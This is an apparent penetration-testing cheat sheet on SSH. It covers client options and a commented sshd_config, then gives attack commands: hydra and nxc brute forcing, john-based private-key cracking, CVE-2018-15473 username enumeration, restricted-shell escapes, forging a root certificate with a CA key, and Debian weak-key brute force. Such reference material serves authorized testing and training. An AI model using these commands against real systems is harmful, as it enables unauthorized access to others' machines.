> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/tcp/22-ssh.md). # SSH | 22 ## 00. Basic {% hint style="info" %} SSH (Secure Shell) is a cryptographic protocol for secure remote access and data transfer over TCP port 22, using SSHv2 for security (**SSHv1 is insecure**); prefer key-based authentication over passwords, disable root login, configure on Linux via /etc/ssh/sshd\_config with sudo systemctl restart sshd, use OpenSSH or PuTTY on Windows, allow TCP port 22 in firewalls while restricting to trusted IPs, and check /var/log/auth.log on Linux for troubleshooting. {% endhint %} * SSH Login Options ```bash ## ------------------| Debugging and Troubleshooting ssh -v h4rithd@$IP ## Enable verbose output for debugging ssh -vvv h4rithd@$IP ## Enable maximum verbose output ## ------------------| Host Key Management ssh -o UserKnownHostsFile=/dev/null h4rithd@$IP ## Prevents ssh from attempting to save the host key ssh -o StrictHostKeyChecking=no h4rithd@$IP ## Instruct ssh to not prompt to accept the host key ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null h4rithd@$IP ## Combine to bypass host key checking (insecure, for testing) ## ------------------| Escaping Restricted Shells ssh -t bash h4rithd@$IP ## Escape rbash by forcing bash ssh -t /bin/sh h4rithd@$IP ## Escape rbash using sh ssh -t python -c 'import pty; pty.spawn("/bin/bash")' h4rithd@$IP ## Escape rbash with Python PTY ## ------------------| Using sshpass for Automation sshpass -f /path/to/keyfile ssh h4rithd@$IP ## Use sshpass with key file sshpass -p 'password' ssh h4rithd@$IP ## Use sshpass with password (insecure) sshpass -p 'password' ssh -o StrictHostKeyChecking=no h4rithd@$IP ## Combine sshpass with no host key checking ## ------------------| Authentication Methods ssh -o PubkeyAuthentication=no h4rithd@$IP ## Disable public key authentication ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no h4rithd@$IP ## Force password authentication ssh -o GSSAPIAuthentication=no h4rithd@$IP ## Disable GSSAPI authentication ssh -i /path/to/id_rsa_custom h4rithd@$IP ## Use specific private key file ## ------------------| Encryption and Compatibility ssh -o MACs=hmac-sha2-256 h4rithd@$IP ## Specify modern MAC algorithm ssh -o MACs=hmac-sha2-512 h4rithd@$IP ## Specify modern MAC algorithm ssh -o MACs=hmac-md5 h4rithd@$IP ## Try legacy MAC for compatibility (deprecated, insecure) ssh -o Ciphers=aes256-ctr h4rithd@$IP ## Specify encryption cipher ssh -o KexAlgorithms=diffie-hellman-group14-sha1 h4rithd@$IP ## Specify legacy key exchange algorithm ssh -o HostKeyAlgorithms=+ssh-dss h4rithd@$IP ## Specify legacy host key algorithm ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-dss h4rithd@$IP ## Combine legacy key exchange and host key algorithms ## ------------------| Connection Optimization ssh -2 h4rithd@$IP ## Force SSHv2 protocol (SSHv1 is insecure) ssh -C h4rithd@$IP ## Enable compression for faster data transfer ssh -p 2222 h4rithd@$IP ## Use custom port (e.g., 2222) ssh -F /path/to/custom_ssh_config h4rithd@$IP ## Use custom SSH config file ``` * Default Configurations ```bash # ------------------| Potentially Dangerous SSH Settings PermitRootLogin prohibit-password ## Still allows root login via SSH key; consider setting to "no" for higher security PasswordAuthentication yes ## Enables brute-force attacks; disable and use key-based authentication instead AllowAgentForwarding yes ## Can be abused if server is compromised to hijack SSH agent sessions AllowTcpForwarding yes ## Can be used to bypass firewalls or pivot inside networks X11Forwarding yes ## Can expose X11 display to attackers; may allow keylogging or remote control ClientAliveInterval 0 ## Disables keep-alive checks; idle sessions may remain open indefinitely UseDNS no ## Safe setting, but if changed to "yes", it may open risks of DNS spoofing AuthorizedKeysFile .ssh/authorized_keys2 ## Deprecated/legacy; can cause confusion or bypass security reviews ## ------------------| Basic Settings Include /etc/ssh/sshd_config.d/*.conf ## Includes additional configuration files from this directory Port 22 ## Used for SSH service (default port) AddressFamily any ## SSH will accept both IPv4 and IPv6 connections ListenAddress 0.0.0.0 ## SSH listens on all IPv4 addresses ListenAddress :: ## SSH listens on all IPv6 addresses HostKey /etc/ssh/ssh_host_rsa_key ## RSA host key location HostKey /etc/ssh/ssh_host_ecdsa_key ## ECDSA host key location HostKey /etc/ssh/ssh_host_ed25519_key ## Ed25519 host key location PidFile /run/sshd.pid ## PID file location for the SSH daemon VersionAddendum none ## No custom SSH version string displayed Banner none ## No login banner displayed ## ------------------| Credential Management PermitRootLogin prohibit-password ## Root login allowed only with key-based authentication PubkeyAuthentication yes ## Enables public key authentication PasswordAuthentication yes ## Enables password authentication PermitEmptyPasswords no ## Disallows login with empty passwords AuthorizedPrincipalsFile none ## No authorized principals file used AuthorizedKeysCommand none ## No custom command to retrieve authorized keys AuthorizedKeysCommandUser nobody ## If used, command would run as user "nobody" AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 ## Locations of user's authorized keys ## ------------------| Authentication Settings StrictModes yes ## Checks file permissions for security MaxAuthTries 6 ## Maximum authentication attempts per connection MaxSessions 10 ## Maximum number of sessions per network connection LoginGraceTime 2m ## Allows 2 minutes for users to authenticate KbdInteractiveAuthentication no ## Disables keyboard-interactive authentication HostbasedAuthentication no ## Disables host-based authentication IgnoreUserKnownHosts no ## SSH will use user's known_hosts file IgnoreRhosts yes ## Ignores legacy rhosts files ## ------------------| Kerberos & GSSAPI KerberosAuthentication no ## Disables Kerberos authentication KerberosOrLocalPasswd yes ## Falls back to local password if Kerberos fails KerberosTicketCleanup yes ## Cleans up Kerberos tickets after login KerberosGetAFSToken no ## Does not get AFS token via Kerberos GSSAPIAuthentication no ## Disables GSSAPI-based authentication GSSAPICleanupCredentials yes ## Cleans up GSSAPI credentials after login GSSAPIStrictAcceptorCheck yes ## Enables strict host checking in GSSAPI GSSAPIKeyExchange no ## Disables GSSAPI for key exchange ## ------------------| PAM & Session Management UsePAM yes ## Enables Pluggable Authentication Modules PermitTTY yes ## Allows allocation of TTY for SSH sessions PrintMotd no ## Does not print message of the day PrintLastLog yes ## Displays last login information upon login ## ------------------| Logging & Auditing SyslogFacility AUTH ## Logs go to the AUTH syslog facility LogLevel INFO ## Log verbosity level set to INFO ## ------------------| Connection Settings RekeyLimit default none ## No limit on SSH rekeying TCPKeepAlive yes ## Sends keepalive packets to clients ClientAliveInterval 0 ## Disables client alive messages ClientAliveCountMax 3 ## Number of client alive messages before disconnection MaxStartups 10:30:100 ## Limits on simultaneous unauthenticated connections ## ------------------| Forwarding & Tunneling AllowAgentForwarding yes ## Allows SSH agent forwarding AllowTcpForwarding yes ## Allows TCP forwarding through SSH GatewayPorts no ## Disallows remote hosts from connecting to forwarded ports PermitTunnel no ## Disables tunneling via SSH ## ------------------| X11 Forwarding X11Forwarding yes ## Enables X11 forwarding X11DisplayOffset 10 ## Sets display number offset for X11 forwarding X11UseLocalhost yes ## X11 will bind to localhost only ## ------------------| Environment & Compression PermitUserEnvironment no ## Disallows environment variable files in user's home Compression delayed ## Enables compression after authentication UseDNS no ## Disables DNS resolution of client hostname AcceptEnv LANG LC_* ## Accepts only language-related environment variables ## ------------------| Subsystems Subsystem sftp /usr/lib/openssh/sftp-server ## Defines the SFTP subsystem ## ------------------| Match Blocks Match User anoncvs ## Applies the following settings only to user 'anoncvs' X11Forwarding no ## Disables X11 forwarding for 'anoncvs' AllowTcpForwarding no ## Disables TCP forwarding for 'anoncvs' PermitTTY no ## Disallows TTY for 'anoncvs' ForceCommand cvs server ## Forces the command 'cvs server' for 'anoncvs' ``` ## 01. Enumeration & Exploitation ### 01.1 Enumeration ```bash sh-audit $IP ``` ### 01.2 Exploitation * Brute Force ```bash hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://$IP:22 -t 4 nxc ssh $IP -u users.txt -p passwords.txt ``` * Crack Private Keys ```bash python3.8 /usr/share/john/ssh2john.py id_rsa > id_rsa.john john id_rsa.john -w=/usr/share/wordlists/rockyou.txt ``` * User Enumeration (OpenSSH 7.7 | CVE-2018-15473) ```bash ## ------------------| Using MSF use auxiliary/scanner/ssh/ssh_enumusers set RHOSTS set USER_FILE userlist.txt run ## ------------------| Using Python git clone https://gitlab.com/epi052/cve-2018-15473.git && cd cve-2018-15473 pip install -r requirements.txt python3 ssh-username-enum.py -w userlist.txt $IP ``` * SSH Certificate-Based Authentication for Root Access ```bash ## ------------------| Background ### This method allows you to generate an SSH certificate that grants root access ### using a trusted Certificate Authority (CA) key. ## ------------------| Prerequisites ### You already have a private key (ca_key) and its corresponding public key (ca_key.pub). ### The CA public key (ca_key.pub) is listed in the SSH server’s configuration (/etc/ssh/sshd_config.d/sshcerts.conf) ### The entry should look like this --> TrustedUserCAKeys /etc/ssh/ca_key.pub ## ------------------| Getting root access ssh-keygen -t ed25519 -f root ssh-keygen -s -z 223 -I 'root' -V -5m:forever -n root root.pub #### -s → The CA private key used for signing. #### -z 223 → (Doesn’t really matter) Serial number (223) for tracking issued certificates. #### -I 'root' → Identity label (root). #### -V -5m:forever → Sets the validity period: ######## -5m → Starts 5 minutes in the past (to avoid clock drift issues). ######## forever → The certificate never expires. ######## if you want expire it in 42 weeks --> -5m:+42w #### -n root → Specifies that only root can use this key. #### root.pub → The public key being signed. ssh-keygen -L -f root-cert.pub chmod 600 root ssh -i root root@ ``` * CVE-2008-0166 (`Debian-based systems | September 2006 <--> 2008 May 13th`) ```bash https://www.exploit-db.com/exploits/5720 ``` * Predictable PRNG Brute Force SSH ```bash ## ------------------| Info ## OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) ## you need authorized_keys file on your machine. ## ------------------| Setup ## Add "PubkeyAcceptedKeyTypes +ssh-dss" to /etc/ssh/ssh_config file git clone https://github.com/g0tmi1k/debian-ssh wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_dsa_1024_x86.tar.bz2 wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_rsa_2048_x86.tar.bz2 tar -xf *.bz2 ## check anything match with authorized_keys file. ## Copy the first 40 chars in the authorized_keys, then search it in the repo grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNA' ## After finding the pub key, The corresponding Private key which is also in the same directory (without pub). ssh -i key -oKexAlgorithms=+diffie-hellman-group1-sha1 @$IP ```